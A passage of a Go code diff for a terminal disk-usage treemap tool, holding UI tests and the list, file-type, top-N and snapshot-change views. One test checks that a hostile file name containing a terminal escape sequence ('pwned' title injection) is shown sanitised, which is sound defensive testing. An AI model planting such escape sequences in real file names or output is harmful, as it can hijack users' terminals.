for i, l := range lines {
|
||||
if got := ansi.StringWidth(l); got != w {
|
||||
t.Fatalf("%dx%d: line %d has width %d: %q", w, h, i, got, ansi.Strip(l))
|
||||
}
|
||||
}
|
||||
return ansi.Strip(content)
|
||||
}
|
||||
|
||||
func TestResizeTransitionsPreserveState(t *testing.T) {
|
||||
m := newTestModel(t)
|
||||
send(m, size(120, 40))
|
||||
checkFrame(t, m, 120, 40)
|
||||
// Zoom into media and select something that is not the default.
|
||||
m.tree.RLock()
|
||||
media := m.kidsOf(0)
|
||||
m.tree.RUnlock()
|
||||
var mediaID inventory.NodeID
|
||||
for _, id := range media.ids {
|
||||
if m.tree.Node(id).Name == "media" {
|
||||
mediaID = id
|
||||
}
|
||||
}
|
||||
m.sel, m.userSel = int64(mediaID), true
|
||||
send(m, key("space"))
|
||||
if m.zoom != mediaID {
|
||||
t.Fatalf("zoom = %d want media %d", m.zoom, mediaID)
|
||||
}
|
||||
checkFrame(t, m, 120, 40)
|
||||
send(m, key("right"))
|
||||
sel := m.sel
|
||||
for _, sz := range [][2]int{{80, 24}, {120, 40}, {300, 80}, {70, 20}, {180, 50}, {40, 10}, {39, 9}, {200, 60}} {
|
||||
send(m, size(sz[0], sz[1]))
|
||||
checkFrame(t, m, sz[0], sz[1])
|
||||
if m.zoom != mediaID {
|
||||
t.Fatalf("%v: zoom lost", sz)
|
||||
}
|
||||
if m.sel != sel && !isGroup(m.sel) {
|
||||
t.Fatalf("%v: selection changed from %d to %d", sz, sel, m.sel)
|
||||
}
|
||||
}
|
||||
// The layout must be recomputed for the new geometry, not stretched.
|
||||
if m.tm == nil || m.tm.rect.W > 200 || m.tm.rect.H > 60 {
|
||||
t.Fatalf("layout not recomputed for final size: %+v", m.tm.rect)
|
||||
}
|
||||
for _, b := range m.tm.blocks {
|
||||
r := m.tm.rect
|
||||
if b.X < r.X || b.Y < r.Y || b.X+b.W > r.X+r.W || b.Y+b.H > r.Y+r.H {
|
||||
t.Fatalf("block %+v outside treemap %+v", b, r)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestResizeStorm(t *testing.T) {
|
||||
m := newTestModel(t)
|
||||
r := rand.New(rand.NewSource(1))
|
||||
send(m, size(120, 40))
|
||||
m.View()
|
||||
send(m, key("right"), key("down"))
|
||||
sel := m.sel
|
||||
for i := 0; i < 300; i++ {
|
||||
send(m, size(20+r.Intn(300), 5+r.Intn(90)))
|
||||
if i%7 == 0 {
|
||||
m.View() // renders interleave with resizes like the real event loop
|
||||
}
|
||||
}
|
||||
send(m, size(150, 45))
|
||||
checkFrame(t, m, 150, 45)
|
||||
if m.sel != sel {
|
||||
t.Fatalf("selection lost in resize storm")
|
||||
}
|
||||
}
|
||||
|
||||
func TestModalSurvivesResize(t *testing.T) {
|
||||
m := newTestModel(t)
|
||||
send(m, size(120, 40), key("enter"))
|
||||
if len(m.modals) != 1 {
|
||||
t.Fatal("Enter should open the info modal")
|
||||
}
|
||||
for _, sz := range [][2]int{{120, 40}, {60, 14}, {41, 10}, {300, 80}, {45, 12}} {
|
||||
send(m, size(sz[0], sz[1]))
|
||||
out := checkFrame(t, m, sz[0], sz[1])
|
||||
if !strings.Contains(out, "ITEM INFORMATION") {
|
||||
t.Fatalf("%v: modal title missing:\n%s", sz, out)
|
||||
}
|
||||
f := m.modals[0].(*modalFrame)
|
||||
if f.viewH < 1 || f.viewH > sz[1] {
|
||||
t.Fatalf("%v: modal viewport %d", sz, f.viewH)
|
||||
}
|
||||
}
|
||||
// Scrolling in a tiny terminal must stay in range.
|
||||
send(m, size(45, 12))
|
||||
for range 100 {
|
||||
send(m, key("down"))
|
||||
}
|
||||
checkFrame(t, m, 45, 12)
|
||||
f := m.modals[0].(*modalFrame)
|
||||
if f.scroll < 0 || f.scroll > f.contentN {
|
||||
t.Fatalf("scroll out of range: %d of %d", f.scroll, f.contentN)
|
||||
}
|
||||
send(m, key("esc"))
|
||||
if len(m.modals) != 0 {
|
||||
t.Fatal("Esc should close the modal")
|
||||
}
|
||||
}
|
||||
|
||||
func TestSpatialNavigationUsesGeometry(t *testing.T) {
|
||||
m := newTestModel(t)
|
||||
send(m, size(160, 45))
|
||||
m.View()
|
||||
blocks := m.tm.blocks
|
||||
for _, dir := range []string{"right", "down", "left", "up"} {
|
||||
before := m.sel
|
||||
send(m, key(dir))
|
||||
m.View()
|
||||
if m.sel == before {
|
||||
continue // edge of the map
|
||||
}
|
||||
var a, b = findBlock(blocks, before), findBlock(blocks, m.sel)
|
||||
switch dir {
|
||||
case "right":
|
||||
if b.X < a.X+a.W {
|
||||
t.Fatalf("right moved to a block that is not to the right: %+v -> %+v", a, b)
|
||||
}
|
||||
case "left":
|
||||
if b.X+b.W > a.X {
|
||||
t.Fatalf("left moved wrongly: %+v -> %+v", a, b)
|
||||
}
|
||||
case "down":
|
||||
if b.Y < a.Y+a.H {
|
||||
t.Fatalf("down moved wrongly: %+v -> %+v", a, b)
|
||||
}
|
||||
case "up":
|
||||
if b.Y+b.H > a.Y {
|
||||
t.Fatalf("up moved wrongly: %+v -> %+v", a, b)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func findBlock(bs []treemap.Block, id int64) treemap.Block {
|
||||
for _, b := range bs {
|
||||
if b.ID == id {
|
||||
return b
|
||||
}
|
||||
}
|
||||
return treemap.Block{}
|
||||
}
|
||||
|
||||
func TestZoomBreadcrumbsAndHome(t *testing.T) {
|
||||
m := newTestModel(t)
|
||||
send(m, size(100, 30))
|
||||
m.tree.RLock()
|
||||
var media, photos inventory.NodeID
|
||||
m.tree.Walk(0, func(id inventory.NodeID, n *inventory.Node) bool {
|
||||
switch n.Name {
|
||||
case "media":
|
||||
media = id
|
||||
case "photos 日本語":
|
||||
photos = id
|
||||
}
|
||||
return true
|
||||
})
|
||||
m.tree.RUnlock()
|
||||
m.sel, m.userSel = int64(media), true
|
||||
send(m, key("space"))
|
||||
m.sel = int64(photos)
|
||||
send(m, key("space"))
|
||||
if m.zoom != photos {
|
||||
t.Fatal("did not zoom into photos")
|
||||
}
|
||||
out := checkFrame(t, m, 100, 30)
|
||||
if !strings.Contains(out, "media › photos 日本語") {
|
||||
t.Fatalf("breadcrumbs missing:\n%s", out)
|
||||
}
|
||||
// Narrow terminal: breadcrumbs truncate from the left, keeping the tail.
|
||||
send(m, size(42, 12))
|
||||
out = checkFrame(t, m, 42, 12)
|
||||
if !strings.Contains(out, "photos") {
|
||||
t.Fatalf("breadcrumb tail missing:\n%s", out)
|
||||
}
|
||||
send(m, key("backspace"))
|
||||
if m.zoom != media || m.sel != int64(photos) {
|
||||
t.Fatalf("backspace: zoom %d sel %d", m.zoom, m.sel)
|
||||
}
|
||||
send(m, key("home"))
|
||||
if m.zoom != 0 {
|
||||
t.Fatal("home did not return to root")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFilterTransformsMap(t *testing.T) {
|
||||
m := newTestModel(t)
|
||||
send(m, size(120, 40), key("/"))
|
||||
for _, r := range "ext = gz" {
|
||||
send(m, tea.KeyPressMsg{Code: r, Text: string(r)})
|
||||
}
|
||||
if m.search.err != "" || m.search.query == nil {
|
||||
t.Fatalf("query not parsed: %q", m.search.err)
|
||||
}
|
||||
msg := m.applyFilter()()
|
||||
send(m, msg, key("enter"))
|
||||
if m.search.result == nil {
|
||||
t.Fatal("no filter result")
|
||||
}
|
||||
out := checkFrame(t, m, 120, 40)
|
||||
if strings.Contains(out, "vms/") || !strings.Contains(out, "backups/") {
|
||||
t.Fatalf("filter not applied to the map:\n%s", out)
|
||||
}
|
||||
if !strings.Contains(out, "FILTER") {
|
||||
t.Fatal("filter indicator missing")
|
||||
}
|
||||
send(m, key("esc"))
|
||||
if m.search.query != nil || m.search.result != nil {
|
||||
t.Fatal("Esc should clear the filter")
|
||||
}
|
||||
out = checkFrame(t, m, 120, 40)
|
||||
if !strings.Contains(out, "vms/") {
|
||||
t.Fatalf("map not restored after clearing filter:\n%s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestHostileNameSanitisedInModal(t *testing.T) {
|
||||
m := newTestModel(t)
|
||||
send(m, size(120, 40))
|
||||
var id inventory.NodeID
|
||||
m.tree.Walk(0, func(i inventory.NodeID, n *inventory.Node) bool {
|
||||
if n.Name == hostile {
|
||||
id = i
|
||||
}
|
||||
return true
|
||||
})
|
||||
m.openModal(newInfoModal(m, id))
|
||||
out := checkFrame(t, m, 120, 40)
|
||||
if !strings.Contains(out, `\x1b]0;pwned\x07`) {
|
||||
t.Fatalf("escaped name not shown:\n%s", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestViewsRenderAtManySizes(t *testing.T) {
|
||||
m := newTestModel(t)
|
||||
for range m.views {
|
||||
for _, sz := range [][2]int{{40, 10}, {80, 24}, {150, 45}, {91, 22}} {
|
||||
send(m, size(sz[0], sz[1]))
|
||||
checkFrame(t, m, sz[0], sz[1])
|
||||
send(m, key("down"), key("down"))
|
||||
checkFrame(t, m, sz[0], sz[1])
|
||||
}
|
||||
send(m, key("tab"))
|
||||
}
|
||||
send(m, key("?"))
|
||||
send(m, size(60, 15))
|
||||
checkFrame(t, m, 60, 15)
|
||||
}
|
||||
|
||||
func TestLevelOfDetailGroupsTinyFiles(t *testing.T) {
|
||||
m := newTestModel(t)
|
||||
send(m, size(100, 30))
|
||||
m.tree.RLock()
|
||||
var tiny inventory.NodeID
|
||||
m.tree.Children(0, func(id inventory.NodeID, n *inventory.Node) {
|
||||
if n.Name == "tiny" {
|
||||
tiny = id
|
||||
}
|
||||
})
|
||||
m.tree.RUnlock()
|
||||
m.zoomTo(tiny)
|
||||
m.View()
|
||||
if len(m.tm.blocks) > 100*30/topMinArea+1 {
|
||||
t.Fatalf("%d blocks for 2000 equal files: LOD not applied", len(m.tm.blocks))
|
||||
}
|
||||
if _, ok := m.tm.groups[groupID(tiny)]; !ok {
|
||||
t.Fatal("expected a group block for small items")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCtrlCQuitsWhenIdle(t *testing.T) {
|
||||
m := newTestModel(t)
|
||||
send(m, size(80, 24))
|
||||
_, cmd := m.Update(tea.KeyPressMsg{Code: 'c', Mod: tea.ModCtrl})
|
||||
if cmd == nil || !m.quit {
|
||||
t.Fatal("Ctrl+C should quit when no scan runs")
|
||||
}
|
||||
}
|
||||
|
||||
func BenchmarkRenderFrame(b *testing.B) {
|
||||
tr := testTree()
|
||||
m := newModel(Options{}, nil, tr, func() {})
|
||||
m.profile = colorprofile.TrueColor
|
||||
send(m, size(200, 60))
|
||||
for b.Loop() {
|
||||
m.dirty = true
|
||||
m.View()
|
||||
}
|
||||
}
|
||||
|
||||
func BenchmarkResizeRelayout(b *testing.B) {
|
||||
tr := testTree()
|
||||
m := newModel(Options{}, nil, tr, func() {})
|
||||
i := 0
|
||||
for b.Loop() {
|
||||
send(m, size(100+i%100, 30+i%30))
|
||||
m.View()
|
||||
i++
|
||||
}
|
||||
}
|
||||
|
||||
func TestMouse(t *testing.T) {
|
||||
m := newTestModel(t)
|
||||
send(m, size(120, 40))
|
||||
m.View()
|
||||
// Click the centre of a block other than the selected one.
|
||||
var target treemap.Block
|
||||
for _, b := range m.tm.blocks {
|
||||
if b.ID != m.sel && b.ID >= 0 && m.tree.Node(inventory.NodeID(b.ID)).IsDir() && b.W > 4 {
|
||||
target = b
|
||||
break
|
||||
}
|
||||
}
|
||||
click := tea.MouseClickMsg{X: target.X + target.W/2, Y: target.Y + target.H/2, Button: tea.MouseLeft}
|
||||
send(m, click)
|
||||
if m.sel != target.ID {
|
||||
t.Fatalf("click selected %d, want %d", m.sel, target.ID)
|
||||
}
|
||||
m.View()
|
||||
send(m, click) // second click within the double-click window
|
||||
if m.zoom != inventory.NodeID(target.ID) {
|
||||
t.Fatalf("double click should zoom into %d (zoom=%d)", target.ID, m.zoom)
|
||||
}
|
||||
m.View()
|
||||
send(m, tea.MouseWheelMsg{X: 50, Y: 20, Button: tea.MouseWheelDown})
|
||||
if m.zoom != 0 {
|
||||
t.Fatal("wheel down should zoom out")
|
||||
}
|
||||
// A modal swallows clicks; clicking outside closes it.
|
||||
send(m, key("?"))
|
||||
m.View()
|
||||
send(m, tea.MouseClickMsg{X: 0, Y: 39, Button: tea.MouseLeft})
|
||||
if len(m.modals) != 0 {
|
||||
t.Fatal("click outside modal should close it")
|
||||
}
|
||||
}
|
||||
|
||||
func TestQuantizers(t *testing.T) {
|
||||
if quant16(RGB(10, 12, 8)) != 0 {
|
||||
t.Fatal("near-black should map to black")
|
||||
}
|
||||
if n := quant16(RGB(0xe0, 0x6c, 0x75)); n != 1 && n != 9 {
|
||||
t.Fatalf("red-ish mapped to %d", n)
|
||||
}
|
||||
if n := quant256(RGB(40, 48, 30)); n < 16 {
|
||||
t.Fatalf("256 quantizer used palette-dependent index %d", n)
|
||||
}
|
||||
// A dark, slightly tinted shade must land on the grey ramp or a dark
|
||||
// cube entry, not a saturated one like olive (58) or navy (17).
|
||||
if n := quant256(RGB(40, 48, 30)); n == 58 || n == 17 || n == 22 {
|
||||
t.Fatalf("dark tint mapped to saturated %d", n)
|
||||
}
|
||||
}
|
||||
|
||||
func TestColourDepthsRenderSameGeometry(t *testing.T) {
|
||||
for _, p := range []colorprofile.Profile{colorprofile.TrueColor, colorprofile.ANSI256, colorprofile.ANSI, colorprofile.ASCII} {
|
||||
m := newTestModel(t)
|
||||
m.profile = p
|
||||
send(m, size(100, 30))
|
||||
checkFrame(t, m, 100, 30)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,457 @@
|
||||
package tui
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
tea "charm.land/bubbletea/v2"
|
||||
|
||||
"github.com/andydixon/mapsize/internal/inventory"
|
||||
"github.com/andydixon/mapsize/internal/snapshot"
|
||||
"github.com/andydixon/mapsize/internal/textutil"
|
||||
"github.com/andydixon/mapsize/internal/treemap"
|
||||
)
|
||||
|
||||
// ---- Directory list -------------------------------------------------------
|
||||
|
||||
type listView struct {
|
||||
tb table
|
||||
lastSel int64
|
||||
}
|
||||
|
||||
func (*listView) name() string { return "List" }
|
||||
|
||||
// sync reconciles the table cursor with the shared selection: if the
|
||||
// selection changed elsewhere (treemap, jump) the cursor follows it;
|
||||
// otherwise the cursor (moved by keys or clicks) drives the selection.
|
||||
func (v *listView) sync(m *Model) {
|
||||
k := m.kidsOf(m.zoom)
|
||||
if m.sel != v.lastSel {
|
||||
for i, id := range k.ids {
|
||||
if int64(id) == m.sel {
|
||||
v.tb.cursor = i
|
||||
}
|
||||
}
|
||||
} else if v.tb.cursor < len(k.ids) {
|
||||
m.sel = int64(k.ids[v.tb.cursor])
|
||||
}
|
||||
v.lastSel = m.sel
|
||||
}
|
||||
|
||||
func (v *listView) paint(m *Model, cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
k := m.kidsOf(m.zoom)
|
||||
v.sync(m)
|
||||
total := m.sizeOf(m.zoom)
|
||||
rows := make([]tableRow, len(k.ids))
|
||||
for i, id := range k.ids {
|
||||
n := m.tree.Node(id)
|
||||
name := textutil.Sanitize(n.Name)
|
||||
files := ""
|
||||
if n.IsDir() {
|
||||
name += "/"
|
||||
files = textutil.Count(int64(n.Files))
|
||||
}
|
||||
mod := ""
|
||||
if n.MTime > 0 {
|
||||
mod = time.Unix(0, n.MTime).Format("2006-01-02")
|
||||
}
|
||||
col := m.colorOf(int64(id))
|
||||
nameSt := &Style{FG: col.Mix(t.Fg, 0.45), BG: t.Bg}
|
||||
if n.IsDir() {
|
||||
nameSt.Attr = Bold
|
||||
}
|
||||
frac := 0.0
|
||||
if k.sizes[0] > 0 {
|
||||
frac = float64(k.sizes[i]) / float64(k.sizes[0])
|
||||
}
|
||||
rows[i] = tableRow{
|
||||
cells: []string{textutil.Size(k.sizes[i]), textutil.Percent(k.sizes[i], total), "", files, mod, name},
|
||||
styles: []*Style{nil, {FG: t.Muted, BG: t.Bg}, nil, {FG: t.Muted, BG: t.Bg}, {FG: t.Muted, BG: t.Bg}, nameSt},
|
||||
bar: frac, barCol: col,
|
||||
}
|
||||
if m.opts.Diff != nil {
|
||||
rows[i].cells[4] = textutil.SignedSize(m.opts.Diff.Delta(id, m.sizeMode))
|
||||
}
|
||||
}
|
||||
cols := []column{{"SIZE", 10, true, false}, {"%", 5, true, false}, {"", 12, false, false}, {"FILES", 10, true, false}, {"MODIFIED", 10, false, false}, {"NAME", 0, false, false}}
|
||||
if m.opts.Diff != nil {
|
||||
cols[4] = column{"CHANGE", 12, true, false}
|
||||
}
|
||||
if r.W < 70 {
|
||||
cols = []column{{"SIZE", 10, true, false}, {"%", 5, true, false}, {"NAME", 0, false, false}}
|
||||
for i := range rows {
|
||||
rows[i].cells = []string{rows[i].cells[0], rows[i].cells[1], rows[i].cells[5]}
|
||||
rows[i].styles = []*Style{nil, rows[i].styles[1], rows[i].styles[5]}
|
||||
}
|
||||
}
|
||||
v.tb.paint(m, cv, r, cols, rows, "")
|
||||
v.sync(m)
|
||||
}
|
||||
|
||||
func (v *listView) key(m *Model, k string) (bool, tea.Cmd) {
|
||||
v.sync(m)
|
||||
defer v.sync(m)
|
||||
return v.tb.key(k, len(m.kidsOf(m.zoom).ids)), nil
|
||||
}
|
||||
|
||||
func (v *listView) wheel(m *Model, up bool) tea.Cmd {
|
||||
v.sync(m)
|
||||
v.tb.scroll(up, len(m.kidsOf(m.zoom).ids))
|
||||
v.sync(m)
|
||||
return nil
|
||||
}
|
||||
|
||||
// ---- Extension statistics ------------------------------------------------
|
||||
|
||||
type extView struct {
|
||||
tb table
|
||||
cache []inventory.ExtStat
|
||||
cacheKey [2]int
|
||||
}
|
||||
|
||||
func (*extView) name() string { return "Types" }
|
||||
|
||||
func (v *extView) stats(m *Model) []inventory.ExtStat {
|
||||
k := [2]int{int(m.zoom), m.dataVer*2 + int(m.sizeMode)}
|
||||
if v.cache == nil || v.cacheKey != k {
|
||||
v.cache = m.tree.ExtStats(m.zoom)
|
||||
sort.Slice(v.cache, func(i, j int) bool {
|
||||
a, b := v.cache[i], v.cache[j]
|
||||
as, bs := a.Alloc, b.Alloc
|
||||
if m.sizeMode == inventory.SizeLogical {
|
||||
as, bs = a.Size, b.Size
|
||||
}
|
||||
if as != bs {
|
||||
return as > bs
|
||||
}
|
||||
return a.Ext < b.Ext
|
||||
})
|
||||
v.cacheKey = k
|
||||
}
|
||||
return v.cache
|
||||
}
|
||||
|
||||
func (v *extView) paint(m *Model, cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
st := v.stats(m)
|
||||
var total int64
|
||||
for _, s := range st {
|
||||
total += pick(m, s)
|
||||
}
|
||||
rows := make([]tableRow, len(st))
|
||||
for i, s := range st {
|
||||
ext := "." + s.Ext
|
||||
if s.Ext == "" {
|
||||
ext = "(none)"
|
||||
}
|
||||
col := t.Cat[s.Cat]
|
||||
if c, ok := t.Ext[s.Ext]; ok {
|
||||
col = c
|
||||
}
|
||||
frac := 0.0
|
||||
if v0 := pick(m, st[0]); v0 > 0 {
|
||||
frac = float64(pick(m, s)) / float64(v0)
|
||||
}
|
||||
rows[i] = tableRow{
|
||||
cells: []string{textutil.Sanitize(ext), s.Cat.String(), textutil.Count(s.Count), textutil.Size(pick(m, s)), textutil.Percent(pick(m, s), total), ""},
|
||||
styles: []*Style{{FG: col, BG: t.Bg, Attr: Bold}, {FG: t.Muted, BG: t.Bg}, nil, nil, {FG: t.Muted, BG: t.Bg}, nil},
|
||||
bar: frac, barCol: col,
|
||||
}
|
||||
}
|
||||
cols := []column{{"EXTENSION", 14, false, false}, {"CATEGORY", 12, false, false}, {"FILES", 11, true, false}, {"SIZE", 10, true, false}, {"%", 5, true, false}, {"", 0, false, false}}
|
||||
v.tb.paint(m, cv, r, cols, rows, fmt.Sprintf("File types under %s — Enter filters the map by extension", textutil.Sanitize(m.tree.Node(m.zoom).Name)))
|
||||
}
|
||||
|
||||
func pick(m *Model, s inventory.ExtStat) int64 {
|
||||
if m.sizeMode == inventory.SizeLogical {
|
||||
return s.Size
|
||||
}
|
||||
return s.Alloc
|
||||
}
|
||||
|
||||
func (v *extView) key(m *Model, k string) (bool, tea.Cmd) {
|
||||
st := v.stats(m)
|
||||
if v.tb.key(k, len(st)) {
|
||||
return true, nil
|
||||
}
|
||||
if (k == "enter" || k == "space") && v.tb.cursor < len(st) {
|
||||
e := st[v.tb.cursor].Ext
|
||||
q := "ext = \"" + e + "\""
|
||||
if e == "" {
|
||||
q = "type = file AND ext = \"\""
|
||||
}
|
||||
m.setViewByName("Map")
|
||||
return true, m.setFilter(q)
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func (v *extView) wheel(m *Model, up bool) tea.Cmd {
|
||||
v.tb.scroll(up, len(v.stats(m)))
|
||||
return nil
|
||||
}
|
||||
|
||||
// ---- Top-N investigation views --------------------------------------------
|
||||
|
||||
type topMode int
|
||||
|
||||
const (
|
||||
topFiles topMode = iota
|
||||
topDirs
|
||||
topOld
|
||||
topNew
|
||||
topCount
|
||||
topSparse
|
||||
topHardlinks
|
||||
numTopModes
|
||||
)
|
||||
|
||||
var topNames = [...]string{"Largest files", "Largest directories (own files)", "Oldest large files",
|
||||
"Newest large files", "Most files", "Sparse files", "Hard-linked files"}
|
||||
|
||||
type topView struct {
|
||||
tb table
|
||||
mode topMode
|
||||
ids []inventory.NodeID
|
||||
vals []int64
|
||||
cacheKey [3]int
|
||||
limit int
|
||||
}
|
||||
|
||||
func (*topView) name() string { return "Top" }
|
||||
|
||||
const topLimit = 500
|
||||
|
||||
func (v *topView) compute(m *Model) {
|
||||
k := [3]int{int(m.zoom), m.dataVer*2 + int(m.sizeMode), int(v.mode)}
|
||||
if v.ids != nil && v.cacheKey == k {
|
||||
return
|
||||
}
|
||||
v.cacheKey = k
|
||||
tr := m.tree
|
||||
isFile := func(n *inventory.Node) bool {
|
||||
return n.Kind == inventory.KindFile && n.Flags&(inventory.FlagHardlinkDup|inventory.FlagDeleted) == 0
|
||||
}
|
||||
matches := func(id inventory.NodeID) bool {
|
||||
return m.search.result == nil || m.search.result.Size(id) > 0
|
||||
}
|
||||
tk := inventory.NewTopK(topLimit)
|
||||
val := map[inventory.NodeID]int64{}
|
||||
const largeFile = 1 << 20
|
||||
switch v.mode {
|
||||
case topDirs:
|
||||
own := map[inventory.NodeID]int64{}
|
||||
tr.Walk(m.zoom, func(id inventory.NodeID, n *inventory.Node) bool {
|
||||
if isFile(n) && matches(id) {
|
||||
own[n.Parent] += n.Own(m.sizeMode)
|
||||
}
|
||||
return true
|
||||
})
|
||||
for id, s := range own {
|
||||
tk.Offer(id, s)
|
||||
val[id] = s
|
||||
}
|
||||
case topCount:
|
||||
tr.Walk(m.zoom, func(id inventory.NodeID, n *inventory.Node) bool {
|
||||
if n.IsDir() && matches(id) {
|
||||
c := int64(tr.ChildCount(id))
|
||||
tk.Offer(id, c)
|
||||
val[id] = c
|
||||
}
|
||||
return true
|
||||
})
|
||||
default:
|
||||
tr.Walk(m.zoom, func(id inventory.NodeID, n *inventory.Node) bool {
|
||||
if !isFile(n) || !matches(id) {
|
||||
return true
|
||||
}
|
||||
sz := n.Own(m.sizeMode)
|
||||
switch v.mode {
|
||||
case topFiles:
|
||||
tk.Offer(id, sz)
|
||||
val[id] = sz
|
||||
case topOld, topNew:
|
||||
if sz >= largeFile && n.MTime > 0 {
|
||||
key := n.MTime
|
||||
if v.mode == topOld {
|
||||
key = -key
|
||||
}
|
||||
tk.Offer(id, key)
|
||||
val[id] = sz
|
||||
}
|
||||
case topSparse:
|
||||
if n.Flags&inventory.FlagSparse != 0 {
|
||||
tk.Offer(id, n.Size-n.Alloc)
|
||||
val[id] = n.Size - n.Alloc
|
||||
}
|
||||
case topHardlinks:
|
||||
if n.Flags&inventory.FlagHardlinked != 0 {
|
||||
tk.Offer(id, n.Size)
|
||||
val[id] = n.Size
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
}
|
||||
v.ids = tk.Sorted()
|
||||
v.vals = v.vals[:0]
|
||||
for _, id := range v.ids {
|
||||
v.vals = append(v.vals, val[id])
|
||||
}
|
||||
}
|
||||
|
||||
func (v *topView) paint(m *Model, cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
v.compute(m)
|
||||
rows := make([]tableRow, len(v.ids))
|
||||
var first int64
|
||||
if len(v.vals) > 0 {
|
||||
first = v.vals[0]
|
||||
}
|
||||
for i, id := range v.ids {
|
||||
n := m.tree.Node(id)
|
||||
val := textutil.Size(v.vals[i])
|
||||
if v.mode == topCount {
|
||||
val = textutil.Count(v.vals[i])
|
||||
}
|
||||
mod := ""
|
||||
if n.MTime > 0 {
|
||||
mod = time.Unix(0, n.MTime).Format("2006-01-02")
|
||||
}
|
||||
frac := 0.0
|
||||
if first > 0 && v.mode != topOld && v.mode != topNew {
|
||||
frac = float64(v.vals[i]) / float64(first)
|
||||
}
|
||||
col := m.colorOf(int64(id))
|
||||
rows[i] = tableRow{
|
||||
cells: []string{val, mod, "", textutil.Sanitize(m.tree.Path(id))},
|
||||
styles: []*Style{nil, {FG: t.Muted, BG: t.Bg}, nil, {FG: col.Mix(t.Fg, 0.45), BG: t.Bg}},
|
||||
bar: frac, barCol: col,
|
||||
}
|
||||
}
|
||||
title := fmt.Sprintf("◂ %s ▸ (←/→ change list · Enter details · Space jump to it)", topNames[v.mode])
|
||||
if m.search.result != nil {
|
||||
title += " · filtered"
|
||||
}
|
||||
valTitle := "SIZE"
|
||||
switch v.mode {
|
||||
case topCount:
|
||||
valTitle = "ENTRIES"
|
||||
case topSparse:
|
||||
valTitle = "SAVED"
|
||||
}
|
||||
cols := []column{{valTitle, 10, true, false}, {"MODIFIED", 10, false, false}, {"", 10, false, false}, {"PATH", 0, false, true}}
|
||||
v.tb.paint(m, cv, r, cols, rows, title)
|
||||
}
|
||||
|
||||
func (v *topView) key(m *Model, k string) (bool, tea.Cmd) {
|
||||
v.compute(m)
|
||||
switch k {
|
||||
case "left", "h":
|
||||
v.mode = (v.mode + numTopModes - 1) % numTopModes
|
||||
v.tb.cursor = 0
|
||||
return true, nil
|
||||
case "right", "l":
|
||||
v.mode = (v.mode + 1) % numTopModes
|
||||
v.tb.cursor = 0
|
||||
return true, nil
|
||||
}
|
||||
if v.tb.key(k, len(v.ids)) {
|
||||
return true, nil
|
||||
}
|
||||
if v.tb.cursor < len(v.ids) {
|
||||
id := v.ids[v.tb.cursor]
|
||||
switch k {
|
||||
case "enter":
|
||||
m.openModal(newInfoModal(m, id))
|
||||
return true, nil
|
||||
case "space":
|
||||
m.jumpTo(id)
|
||||
return true, nil
|
||||
case "c", "o", "d":
|
||||
m.sel = int64(id)
|
||||
}
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
func (v *topView) wheel(m *Model, up bool) tea.Cmd {
|
||||
v.tb.scroll(up, len(v.ids))
|
||||
return nil
|
||||
}
|
||||
|
||||
// ---- Snapshot comparison -----------------------------------------------------
|
||||
|
||||
type changesView struct {
|
||||
tb table
|
||||
rows []snapshot.Change
|
||||
cacheKey int
|
||||
}
|
||||
|
||||
func (*changesView) name() string { return "Changes" }
|
||||
|
||||
func (v *changesView) paint(m *Model, cv *Canvas, r treemap.Rect) {
|
||||
t := m.theme
|
||||
d := m.opts.Diff
|
||||
if v.rows == nil || v.cacheKey != int(m.sizeMode) {
|
||||
v.rows = d.Changes(1000, m.sizeMode)
|
||||
v.cacheKey = int(m.sizeMode)
|
||||
}
|
||||
var maxAbs int64 = 1
|
||||
for _, c := range v.rows {
|
||||
maxAbs = max(maxAbs, abs64(c.Delta))
|
||||
}
|
||||
rows := make([]tableRow, len(v.rows))
|
||||
for i, c := range v.rows {
|
||||
col := map[snapshot.Status]Color{snapshot.Added: t.DiffNew, snapshot.Removed: t.Muted,
|
||||
snapshot.Grew: t.DiffGrow, snapshot.Shrank: t.DiffShrink}[c.Status]
|
||||
rows[i] = tableRow{
|
||||
cells: []string{textutil.SignedSize(c.Delta), c.Status.String(), textutil.Size(c.Old), textutil.Size(c.New), "", textutil.Sanitize(c.Path)},
|
||||
styles: []*Style{{FG: col, BG: t.Bg, Attr: Bold}, {FG: col, BG: t.Bg}, {FG: t.Muted, BG: t.Bg}, nil, nil, nil},
|
||||
bar: float64(abs64(c.Delta)) / float64(maxAbs), barCol: col,
|
||||
}
|
||||
}
|
||||
cols := []column{{"CHANGE", 13, true, false}, {"STATUS", 9, false, false}, {"OLD", 10, true, false}, {"NEW", 10, true, false},
|
||||
{"", 10, false, false}, {"PATH", 0, false, true}}
|
||||
ro, rn := d.Old.Node(0).Total(m.sizeMode), d.New.Node(0).Total(m.sizeMode)
|
||||
title := fmt.Sprintf("Changes %s → %s (%s)", textutil.Size(ro), textutil.Size(rn), textutil.SignedSize(rn-ro))
|
||||
v.tb.paint(m, cv, r, cols, rows, title)
|
||||
}
|
||||
|
||||
func abs64(v int64) int64 {
|
||||
if v < 0 {
|
||||
return -v
|
||||
}
|
||||
return v
|
||||
}
|
||||
|
||||
func (v *changesView) key(m *Model, k string) (bool, tea.Cmd) {
|
||||
if v.tb.key(k, len(v.rows)) {
|
||||
return true, nil
|
||||
}
|
||||
if v.tb.cursor < len(v.rows) {
|
||||
c := v.rows[v.tb.cursor]
|
||||
if c.Node == inventory.NoNode {
|
||||
if k == "enter" || k == "space" {
|
||||
return true, m.info("Removed since the old snapshot: " + textutil.Sanitize(c.Path))
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
switch k {
|
||||
case "enter":
|
||||
m.openModal(newInfoModal(m, c.Node))
|
||||
return true, nil
|
||||
case "space":
|
||||
m.jumpTo(c.Node)
|
||||
return true, nil
